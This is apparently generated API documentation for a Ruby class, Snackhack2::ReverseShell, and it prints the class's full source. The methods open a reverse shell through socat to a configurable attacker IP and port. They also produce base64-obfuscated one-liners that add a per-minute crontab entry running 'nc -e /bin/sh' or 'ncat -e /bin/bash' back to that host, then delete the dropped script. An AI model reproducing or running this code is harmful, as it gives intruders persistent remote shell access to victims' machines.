Class: Snackhack2::ReverseShell
- Inherits:
-
Object
- Object
- Snackhack2::ReverseShell
- Defined in:
- lib/snackhack2/reverse_shell.rb
Instance Attribute Summary collapse
-
#ip ⇒ Object
Returns the value of attribute ip.
-
#port ⇒ Object
Returns the value of attribute port.
Instance Method Summary collapse
- #bash ⇒ Object
-
#initialize ⇒ ReverseShell
constructor
A new instance of ReverseShell.
- #nc ⇒ Object
- #ncat ⇒ Object
Constructor Details
#initialize ⇒ ReverseShell
Returns a new instance of ReverseShell.
8 9 10 11 |
# File 'lib/snackhack2/reverse_shell.rb', line 8 def initialize() @ip = ip @port = port end |
Instance Attribute Details
#ip ⇒ Object
Returns the value of attribute ip.
6 7 8 |
# File 'lib/snackhack2/reverse_shell.rb', line 6 def ip @ip end |
#port ⇒ Object
Returns the value of attribute port.
6 7 8 |
# File 'lib/snackhack2/reverse_shell.rb', line 6 def port @port end |
Instance Method Details
#bash ⇒ Object
27 28 29 30 |
# File 'lib/snackhack2/reverse_shell.rb', line 27 def bash c = %(bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane") Process.spawn(c) end |
#nc ⇒ Object
13 14 15 16 17 18 |
# File 'lib/snackhack2/reverse_shell.rb', line 13 def nc c = %{#!/bin/bash line="* * * * * nc -e /bin/sh #{@ip} #{@port}" (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -} puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n") end |
#ncat ⇒ Object
20 21 22 23 24 25 |
# File 'lib/snackhack2/reverse_shell.rb', line 20 def ncat c = %{#!/bin/bash line="* * * * * ncat #{@ip} #{@port} -e /bin/bash" (crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -} puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n") end |